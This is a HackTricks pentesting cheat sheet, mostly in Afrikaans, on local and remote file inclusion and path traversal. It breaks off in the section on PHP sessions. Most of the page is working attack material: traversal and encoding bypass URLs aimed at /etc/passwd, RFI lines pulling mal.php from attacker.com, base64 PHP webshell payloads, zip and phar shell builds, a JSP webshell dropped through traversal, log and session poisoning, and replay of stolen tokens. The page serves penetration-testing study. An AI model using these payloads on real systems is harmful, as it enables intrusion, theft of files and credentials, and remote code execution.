File Inclusion/Path traversal

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

File Inclusion

Remote File Inclusion (RFI): Die lêer word vanaf ’n afgeleë bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit standaard afgeskakel (allow_url_include).
Local File Inclusion (LFI): Die bediener laai ’n plaaslike lêer.

Die kwesbaarheid kom voor wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word.

Kwetsbare PHP-funksies: require, require_once, include, include_once

’n Interessante hulpmiddel om hierdie kwesbaarheid te eksploiteer: https://github.com/kurobeats/fimap

Blind - Interessant - LFI2RCE lêers

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

*Ek het verskeie nix LFI-lyste gemeng en meer paaie bygevoeg; ek het hierdie een geskep:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Probeer ook om / met \ te vervang
Probeer ook om ../../../../../ by te voeg

’n Lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kontroleer of die kwetsbaarheid bestaan) kan gevind word here

Windows

Merge of different wordlists:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt

Probeer ook om / met \ te vervang
Probeer ook om C:/ te verwyder en ../../../../../ by te voeg

’n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kontroleer of die kwetsbaarheid bestaan) kan gevind word here

OS X

Kyk na die LFI-lys van linux.

Basic LFI and bypasses

Al die voorbeelde is vir Local File Inclusion maar kan ook op Remote File Inclusion toegepas word (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences nie-rekursief verwyder

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass die aanheg van meer karakters aan die einde van die verskafde string (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Dit is opgelos sedert PHP 5.4

Enkodering

Jy kan nie-standaard enkoderinge gebruik soos double URL encode (en ander):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Moderne HTML-to-PDF engines (bv. TCPDF of wrappers soos html2pdf) ontleed graag deur aanvallers verskafde HTML, SVG, CSS en font URLs, maar hulle loop binne vertroude backend-netwerke met toegang tot die lêerstelsel. Sodra jy HTML kan injekteer in $pdf->writeHTML()/Html2Pdf::writeHTML(), kan jy dikwels exfiltrate plaaslike lêers wat die webserver-rekening kan lees.

  • Fingerprint the renderer: elke gegenereerde PDF bevat ’n Producer veld (bv. TCPDF 6.8.2). Om die presiese build te ken laat jou weet watter padfilters bestaan en of URL decoding plaasvind voor validasie.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() lees die xlink:href attribute van <image> elements voordat dit urldecode() uitvoer. Om ’n kwaadwillige SVG binne ’n data URI in te bed maak dat baie HTML sanitizers die payload ignoreer, terwyl TCPDF dit steeds ontleed:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF prepends $_SERVER['DOCUMENT_ROOT'] to paths beginning with / and only later resolves .., so use either leading ../../.. segments or /../../.. to escape the root after the prepend.

  • Kodering om naïewe filters te omseil: Versions ≤6.8.2 only check for the literal substring ../ before decoding the URL. Sending ..%2f (or ..%2F) in the SVG or in a raw <img src> attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF calls urldecode().
  • Dubbelkodering vir multi-stadia dekodering: If user input is decoded by the web framework and by TCPDF, double-encode the slash (%252f). One decode turns it into %2f, the second decode in TCPDF turns it into /, yielding /..%252f../../../../… without ever showing ../ to the early filter.
  • HTML <img> hanterer: TCPDF::openHTMLTagHandler() contains the same order-of-operations bug, allowing direct HTML payloads such as src="%2f..%252f..%252ftmp%252fsecret.png" to read any locally reachable bitmap.

Hierdie tegniek leaks alles wat deur die PDF worker gelees kan word (passport scans, API keys rendered as images, ens.). Hardeners het dit in 6.9.1 reggestel deur paaie te kanoniseer (isRelativePath()), so during tests prioritise older Producer versions.

Vanaf bestaande gids

Miskien kontroleer die back-end die gids-pad:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Verkenning van lêerstelselgidse op ’n bediener

Die lêerstelsel van ’n bediener kan rekursief ondersoek word om gidse, nie net lêers nie, te identifiseer deur sekere tegnieke te gebruik. Hierdie proses behels om die gidsdiepte te bepaal en te toets vir die bestaan van spesifieke gidse. Hieronder volg ’n gedetaileerde metode om dit te bereik:

  1. Bepaal gidsdiepte: Bepaal die diepte van jou huidige gids deur suksesvol die /etc/passwd-lêer te haal (van toepassing as die bediener op Linux is). ’n Voorbeeld-URL kan soos volg gestruktureer wees, wat ’n diepte van drie aandui:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Soek na gidse: Voeg die naam van die veronderstelde gids (bv. private) by die URL, en navigeer dan terug na /etc/passwd. Die bykomende gidsvlak vereis dat die diepte met een verhoog word:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpreteer die uitslae: Die bediener se reaksie dui aan of die gids bestaan:
  • Fout / Geen Uitset: Die gids private bestaan waarskynlik nie op die gespesifiseerde ligging nie.
  • Inhoud van /etc/passwd: Die bestaan van die gids private word bevestig.
  1. Rekursiewe verkenning: Ontdekte gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI)-metodes.

Om gidse op verskillende plekke in die lêerstelsel te verken, pas die payload ooreenkomstig aan. Byvoorbeeld, om te kontroleer of /var/www/ private bevat (aangenome die huidige gids is op ’n diepte van 3), gebruik:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation is ’n metode wat gebruik word om lêerpaadjies in webtoepassings te manipuleer. Dit word dikwels gebruik om toegang tot beperkte lêers te kry deur sekere sekuriteitsmaatreëls te omseil wat ekstra karakters aan die einde van lêerpaadjies heg. Die doel is om ’n lêerpad te skep wat, sodra dit deur die sekuriteitsmaatreël verander is, steeds na die verlangde lêer wys.

In PHP kan verskeie voorstellings van ’n lêerpad as ekwivalent beskou word weens die aard van die lêerstelsel. Byvoorbeeld:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ word almal as dieselfde pad behandel.
  • Wanneer die laaste 6 karakters passwd is, verander die byvoeging van ’n / (waardeur dit passwd/ word) nie die geteikende lêer nie.
  • Net so, as .php aan ’n lêerpad aangeheg word (byvoorbeeld shellcode.php), sal die byvoeging van /. aan die einde nie die lêer wat bereik word, verander nie.

Die gegewe voorbeelde demonstreer hoe om path truncation te gebruik om toegang tot /etc/passwd te kry, ’n algemene teiken weens sy sensitiewe inhoud (inligting oor gebruikersrekeninge):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

In hierdie scenario’s mag die aantal traversals wat benodig word ongeveer 2027 wees, maar hierdie aantal kan wissel afhangende van die bediener se konfigurasie.

  • Using Dot Segments and Additional Characters: Traversal sequences (../) gekombineer met ekstra dot-segmente en karakters kan gebruik word om die file system te navigeer, en effektief aangehegte stringe deur die bediener te ignoreer.
  • Determining the Required Number of Traversals: Deur proef-en-fout kan ’n mens die presiese aantal ../ reekse vind wat nodig is om na die root directory en dan na /etc/passwd te navigeer, wat verseker dat enige aangehegte stringe (soos .php) geneutraliseer word terwyl die gewenste pad (/etc/passwd) onaangeraak bly.
  • Starting with a Fake Directory: Dit is algemeen om die pad te begin met ’n nie-bestaande directory (soos a/). Hierdie tegniek word as ’n voorsorgmaatreël gebruik of om die vereistes van die bediener se path parsing logika te vervul.

Wanneer path truncation techniques toegepas word, is dit noodsaaklik om die bediener se path parsing gedrag en filesystem struktuur te verstaan. Elke scenario kan ’n ander benadering vereis, en toetsing is dikwels nodig om die mees effektiewe metode te vind.

This vulnerability was corrected in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

In php is dit standaard gedeaktiveer omdat allow_url_include Off is. Dit moet On wees om te werk, en in daardie geval kan jy ’n PHP-lêer van jou server insluit en RCE kry:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

As dit om een of ander rede allow_url_include Aan is, maar PHP filtreer toegang tot eksterne webbladsye, volgens hierdie pos, kan jy byvoorbeeld die data-protokol met base64 gebruik om ’n b64 PHP-kode te dekodeer en RCE te kry:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Blootgestelde .git Repository (Source Disclosure)

Indien die webbediener /.git/ blootgestel is, kan ’n aanvaller dikwels die volledige repository herbou (insluitend commit history) en die toepassing aflyn oudit. Dit openbaar gewoonlik hidden endpoints, secrets, SQL queries, en admin-only functionality.

Vinnige kontroles:

curl -s -i http://TARGET/.git/HEAD
curl -s -i http://TARGET/.git/config

Dump die repository met git-dumper:

uv tool install git-dumper
git-dumper http://TARGET/.git/ out/

Herstel dan die working tree:

cd out
git checkout .

Tip

In die vorige kode is die finale +.txt bygevoeg omdat die aanvaller ’n string nodig gehad het wat op .txt eindig, sodat die string daarmee eindig en na die b64 decode daardie deel net rommel teruggee en die werklike PHP-kode ingesluit word (en gevolglik uitgevoer).

Nog ’n voorbeeld wat nie die php:// protocol gebruik nie sou wees:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Wortelelement

In python, in ’n kode soos hierdie:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

As die gebruiker ’n absolute pad na file_name deurgee, word die vorige pad net verwyder:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Dit is die beoogde gedrag volgens the docs:

As ’n komponent ’n absolute pad is, word alle vorige komponente weggegooi en die samevoeging gaan voort vanaf die absolute padkomponent.

Java Lys van gidse

Dit lyk asof, as jy ’n Path Traversal in Java het en jy vir ’n gids vra in plaas van ’n lêer, ’n lys van die gids teruggestuur word. Dit gebeur nie in ander tale nie (sover ek weet).

Top 25 parameters

Hier is ’n lys van die top 25 parameters wat kwesbaar kan wees vir local file inclusion (LFI) vulnerabilities (van link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP filters maak dit moontlik om basiese wysigingsoperasies op die data uit te voer voordat dit gelees of geskryf word. Daar is 5 kategorieë filters:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Verwyder tags uit die data (alles tussen die “<” en “>” karakters)
  • Let daarop dat hierdie filter in moderne weergawes van PHP verdwyn het
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transformeer na ’n ander kodering (convert.iconv.<input_enc>.<output_enc>). Om die lys van alle koderinge wat ondersteun word te kry, voer in die konsole uit: iconv -l

Warning

Deur misbruik van die convert.iconv.* conversion filter kan jy arbitrêre teks genereer, wat nuttig kan wees om arbitrêre teks te skryf of om ’n funksie soos include arbitrêre teks te laat verwerk. Vir meer info sien LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Komprimeer die inhoud (useful if exfiltrating a lot of info)
  • zlib.inflate: Dekomprimeer die data
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • Ander filters
  • As jy in PHP var_dump(stream_get_filters()); uitvoer, kan jy ’n paar onverwagte filters vind:
  • consumed
  • dechunk: keer HTTP chunked encoding om
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

Die gedeelte “php://filter” is nie sensitief vir hoof-/kleinletters nie

Gebruik php filters as oracle om arbitêre lêers te lees

In hierdie pos word ’n tegniek voorgestel om ’n plaaslike lêer te lees sonder dat die uitvoer vanaf die bediener teruggegee word. Hierdie tegniek is gebaseer op ’n boolean exfiltration of the file (char by char) using php filters as oracle. Dit is omdat php filters gebruik kan word om ’n teks groot genoeg te maak sodat php ’n uitsondering sal gooi.

In die oorspronklike pos vind jy ’n gedetaileerde verduideliking van die tegniek, maar hier is ’n vinnige opsomming:

  • Gebruik die codec UCS-4LE om die voorste karakter van die teks by die begin te laat en sodoende die stringgrootte eksponensieel te laat toeneem.
  • Dit word gebruik om ’n teks te genereer wat so groot is wanneer die aanvanklike letter korrek geraai is dat php ’n fout sal veroorsaak.
  • Die dechunk filter sal alles verwyder indien die eerste karakter nie ’n hex is nie, sodat ons kan weet of die eerste karakter hex is.
  • Dit, gekombineer met die vorige een (en ander filters afhangend van die geraaide letter), sal ons toelaat om ’n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie meer ’n hexadecimal karakter te laat wees nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal ’n php error veroorsaak.
  • Die codec convert.iconv.UNICODE.CP930 transformeer elke letter na die volgende (dus na hierdie codec: a -> b). Dit stel ons in staat om te ontdek of die eerste letter byvoorbeeld ’n a is, want as ons hierdie codec 6 keer toepas: a->b->c->d->e->f->g, is die letter nie meer ’n hexadecimal karakter nie, daarom verwyder dechunk dit nie en word die php error getrigger omdat dit saam met die aanvanklike bom vermenigvuldig.
  • Deur ander transformasies soos rot13 aan die begin te gebruik is dit moontlik om ander chars te leak soos n, o, p, q, r (en ander codecs kan gebruik word om ander letters na die hex-bereik te skuif).
  • Wanneer die aanvanklike karakter ’n getal is, moet dit base64 encode word en die eerste 2 letters ge-leak word om die getal te leak.
  • Die finale probleem is om te sien hoe om meer as die aanvanklike letter te leak. Deur order memory filters soos convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE te gebruik, is dit moontlik om die volgorde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
  • En om verder data te kan bekom, is die idee om 2 bytes vuildata aan die begin te genereer met convert.iconv.UTF16.UTF16, pas UCS-4LE toe om dit te laat pivot met die volgende 2 bytes, en verwyder die data tot by die vuildata (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort hiermee totdat jy die gemikte bit bereik om te leak.

In die pos is ’n tool om dit outomaties uit te voer ook leaked: php_filters_chain_oracle_exploit.

php://fd

Hierdie wrapper laat toe om toegang te kry tot file descriptors wat die proses oop het. Potensieel nuttig om die inhoud van geopende lêers te exfiltrate:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Jy kan ook php://stdin, php://stdout and php://stderr gebruik om onderskeidelik toegang te kry tot die file descriptors 0, 1 and 2 (nie seker hoe dit in ’n aanval nuttig kan wees nie)

zip:// and rar://

Laai ’n Zip- of Rar-lêer op met ’n PHPShell daarin en kry toegang daartoe.
Om die rar-protocol te kan misbruik moet dit spesifiek geaktiveer word.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Let wel dat hierdie protocol deur php-konfigurasies allow_url_open en allow_url_include beperk word

expect://

Expect moet geaktiveer wees. Jy kan kode hiermee uitvoer:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Spesifiseer jou payload in die POST parameters:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

’n .phar-lêer kan gebruik word om PHP-kode uit te voer wanneer ’n webtoepassing funksies soos include vir lêerlaai gebruik. Die onderstaande PHP-kodefragment demonstreer die skepping van ’n .phar-lêer:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Om die .phar-lêer te kompileer, moet die volgende opdrag uitgevoer word:

php --define phar.readonly=0 create_path.php

By uitvoering sal ’n lêer met die naam test.phar geskep word, wat moontlik benut kan word om Local File Inclusion (LFI)-kwesbaarhede uit te buit.

In gevalle waar die LFI slegs lêerlees uitvoer sonder om die PHP-kode binne te laat uitvoer, deur funksies soos file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), of filesize(), kan ’n deserialization vulnerability probeer word. Hierdie kwesbaarheid hou verband met die lees van lêers deur die phar-protokol.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Dit was moontlik om any arbitrary file read from PHP that supports php filters te misbruik om ’n RCE te kry. Die gedetailleerde beskrywing kan found in this post.
Baie vinnige samevatting: ’n 3 byte overflow in die PHP heap is misbruik om alter the chain of free chunks van ’n spesifieke grootte te verander sodat dit moontlik was om write anything in any address, daarom is ’n hook bygevoeg om system aan te roep.
Dit was moontlik om chunks van spesifieke groottes te alloc deur meer php filters te misbruik.

Meer protokolle

Kyk na meer moontlike protocols to include here:

  • php://memory and php://temp — Skryf in geheue of in ’n tydelike lêer (nie seker hoe dit bruikbaar kan wees in ’n file inclusion attack nie)
  • file:// — Toegang tot plaaslike lêerstelsel
  • http:// — Toegang tot HTTP(s) URLs
  • ftp:// — Toegang tot FTP(s)-URL’s
  • zlib:// — Kompressiestrome
  • glob:// — Soek padname wat by ’n patroon pas (Dit lewer niks printbaars op nie, dus nie regtig bruikbaar hier nie)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audiostrome (Nie nuttig om arbitrêre lêers te lees nie)

LFI via PHP se ‘assert’

Local File Inclusion (LFI)-risiko’s in PHP is besonder hoog wanneer daar met die ‘assert’ funksie gewerk word, aangesien dit kode binne stringe kan uitvoer. Dit is veral problematies as insette wat directory traversal-karakters soos “..” bevat, nagegaan word maar nie behoorlik gesuiwer word nie.

Byvoorbeeld, PHP-kode kan ontwerp wees om directory traversal te voorkom soos volg:

assert("strpos('$file', '..') === false") or die("");

Alhoewel dit daarop gemik is om traversal te voorkom, skep dit onbedoeld ’n vektor vir code injection. Om dit uit te buit om lêerinhalte te lees, kan ’n aanvaller gebruik:

' and die(highlight_file('/etc/passwd')) or '

Op dieselfde wyse, om willekeurige stelselopdragte uit te voer, kan iemand gebruik:

' and die(system("id")) or '

It’s important to URL-encode these payloads.

PHP Blind Path Traversal

Warning

Hierdie tegniek is relevant in gevalle waar jy die file path van ’n PHP function beheer wat ’n file sal toegang, maar jy sal nie die inhoud van die file sien (soos ’n eenvoudige oproep na file()) nie, en die inhoud word nie getoon nie.

In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

As opsomming, die tegniek gebruik die “UCS-4LE” encoding om die inhoud van ’n file so groot te maak dat die PHP function wat die file oopmaak ’n error sal veroorsaak.

Dan, om die eerste char te leak word die filter dechunk gebruik saam met ander filters soos base64 of rot13 en uiteindelik word die filters convert.iconv.UCS-4.UCS-4LE en convert.iconv.UTF16.UTF-16BE gebruik om ander chars aan die beginning te plaas en hulle te leak.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Wanneer server-side code wat files insleef/uploads die bestemmingspad bou met data wat deur die gebruiker beheer word (bv. ’n filename of URL) sonder om dit te canonicalise en te valideer, kan .. segmente en absolute paths uit die beoogde directory ontsnap en ’n arbitrary file write veroorsaak. As jy die payload onder ’n web-exposed directory kan plaas, kry jy gewoonlik unauthenticated RCE deur ’n webshell neer te sit.

Typical exploitation workflow:

  • Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
  • Determine web-exposed directories. Common examples:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
  • Browse to the dropped payload and execute commands.

Notes:

  • The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
  • On Java stacks, these file writes are often implemented with simple File/Paths concatenation. Lack of canonicalisation/allow-listing is the core flaw.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Verharding wat hierdie tipe foute keer:

  • Los dit op na ’n kanonieke pad en dwing af dat dit onder ’n toegelate basismap val.
  • Weier enige pad wat .., absolute wortels, of stasieletters bevat; verkies gegenereerde lêersname.
  • Voer die skrywer as ’n laag-privilegieerde gebruiker uit en skei skryf-direktorieë van die gediende wortels.

Remote File Inclusion

Voorheen verduidelik, follow this link.

Deur Apache/Nginx loglêer

As die Apache- of Nginx-bediener vatbaar is vir LFI binne die include-funksie, kan jy probeer toegang te kry tot /var/log/apache2/access.log of /var/log/nginx/access.log, die user agent of ’n GET parameter gebruik om ’n php shell soos <?php system($_GET['c']); ?> te plaas, en daardie lêer in te sluit

Warning

Let daarop dat as jy dubbele aanhalingstekens gebruik vir die shell in plaas van enkele aanhalingstekens, sal die dubbele aanhalingstekens verander word na die string “quote;”, PHP sal daar ’n fout gooi en niks anders sal uitgevoer word.

Maak ook seker dat jy die payload korrek skryf, anders sal PHP elke keer ’n fout gooi wanneer dit probeer om die loglêer te laai en sal jy nie ’n tweede geleentheid hê nie.

Dit kan ook met ander loglêers gedoen word, maar wees versigtig, die kode in die logs kan URL-gekodeer wees en dit kan die Shell vernietig. Die header authorisation “basic” bevat “user:password” in Base64 en dit word in die logs ontsleutel. Die PHPShell kan binne hierdie header ingespuit word.
Ander moontlike logpaaie:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Lees access logs om GET-based auth tokens te oes (token replay)

Baie apps aanvaar per ongeluk session/auth tokens via GET (e.g., AuthenticationToken, token, sid). As jy ’n path traversal/LFI primitive het na web server access logs, kan jy daardie tokens uit die access logs steel en hulle replay om authentication heeltemal te omseil.

Hoe om:

  • Gebruik die traversal/LFI om die web server access log te lees. Algemene lokasies:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Sommige endpoints return file reads Base64-encoded. Indien wel, decodeer dit lokaal en inspekteer die log lines.
  • Grep vir GET requests wat ’n token parameter insluit en vang sy waarde, en replay dit teen die application entry point.

Voorbeeldvloei (generies):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Dekodeer die body as dit Base64 is, dan replay ’n captured token:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Aantekeninge:

  • Tokens in URLs word standaard gelog; aanvaar nooit bearer tokens via GET in produksie-omgewings.
  • As die app verskeie tokenname ondersteun, soek vir algemene sleutels soos AuthenticationToken, token, sid, access_token.
  • Roteer enige tokens wat moontlik na logs leaked het.

Deur E-pos

Stuur ’n e-pos na ’n interne rekening (user@localhost) wat jou PHP payload bevat soos <?php echo system($_REQUEST["cmd"]); ?> en probeer dit insluit in die gebruiker se mail met ’n pad soos /var/mail/<USERNAME> of /var/spool/mail/<USERNAME>

Deur /proc//fd/

  1. Laai baie shells op (byvoorbeeld: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, met $PID = PID van die proses (kan deur brute force geramd word) en $FD die file descriptor (kan ook deur brute force geramd word)

Deur /proc/self/environ

Soos ’n loglêer, stuur die payload in die User-Agent; dit sal binne die /proc/self/environ lêer gereflekteer word

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Deur upload

As jy ’n lêer kan upload, voeg net die shell payload daarin (bv.: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Om die lêer leesbaar te hou, is dit die beste om dit in die metadata van die foto’s/dokumente/pdf in te voeg

Via ZIP-lêer oplaai

Laai ’n ZIP-lêer op wat ’n PHP shell bevat en gekompresseer is, en kry toegang:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Deur PHP sessions

Kontroleer of die webwerf PHP Session (PHPSESSID) gebruik.

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP word hierdie sessies gestoor in /var/lib/php5/sess\[PHPSESSID]_ lêers

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Stel die cookie in op <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Gebruik die LFI om die PHP-sessie-lêer in te sluit

